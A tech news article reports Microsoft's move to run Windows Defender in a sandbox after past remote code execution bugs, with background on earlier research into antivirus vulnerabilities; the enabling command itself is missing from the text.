Windows Defender has seen its share of vulnerability reports. Last year, Google’s experts Natalie Silvanovich and Tavis Ormandy announced a remote code execution (RCE) bug severe enough to make Microsoft release an out-of-band update to fix the problem.

In April this year, Microsoft patched another RCE in Windows Defender, which could be abused via a specially crafted RAR file. When the antivirus got to scanning it, as part of its protection routine, the would trigger, giving the attacker control over the system in the context of the local user.

Microsoft is not aware of any attacks in-the-wild actively targeting or exploiting its antivirus solution but acknowledges the potential risk hence its effort to sandbox Windows Defender.

Turn on sandboxing for Windows Defender

The new capability has been gradually rolling out for Windows Insider users for test runs, but it can also be enabled on Windows 10 starting version 1703.

Regular users can also run Windows Defender in a sandbox if they have the operating system version mentioned above. They can do this by enabling  the following system-wide setting from the Command Prompt with admin privileges:


Restarting the computer is necessary for the setting to take effect. Reverting the setting is possible by changing the value for forcing sandboxing to 0 (zero) and rebooting the system.

Sandboxing Windows Defender

Forcing an antivirus product to work from an insulated context is no easy thing to do due to the app’s need to check a large number of inputs in real time, so access to these resources is an absolute requirement. An impact on performance is a likely effect of this.

«It was a complex undertaking: we had to carefully study the implications of such an enhancement on performance and functionality. More importantly, we had to identify high-risk areas and make sure that sandboxing did not adversely affect the level of security we have been providing,» the official announcement reads.

Despite the complexity of the task, Microsoft was not the first to sandbox Windows Defender. Last year, experts from security outfit Trail of Bits, who also specialize in virtualization, created a framework that could run Windows applications in their own containers. Windows Defender was one of the projects that Trail of Bits was able to containerize successfully and open-sourced it.

AVs are as susceptible to flaws as other software

Despite their role on the operating system, security products are susceptible to flaws just like other complex software. Windows Defender is definitely not the only one vulnerable.

In 2008, security researcher Feng Xue talked at BlackHat Europe about techniques for finding and exploiting vulnerabilities in antivirus software, referencing bugs as old as 2004.

Xue pointed out that the flaws in this type of software stem from the fact that it has to deal with hundreds of files types that need to be checked with components called content parsers. A bug in one parser could represent a potential path on the protected system.

Six years later, another researcher, Joxean Koret, took the matter further and showed just how vulnerable are the defenders of the computer systems, and let the world know that exploiting them «is not different to exploiting other client-side applications.»

His analysis at the time on 14 antivirus solutions on the market revealed dozens of vulnerabilities that could be exploited remotely and locally, including denial of service, privilege escalation, and arbitrary code execution. His list included big names like Bitdefender and Kaspersky.

Antivirus developers do not leave their customers high and dry and audit their products constantly. The result is patching any of the bugs discovered during the code review and improving the quality assurance process for finer combing for potential flaws.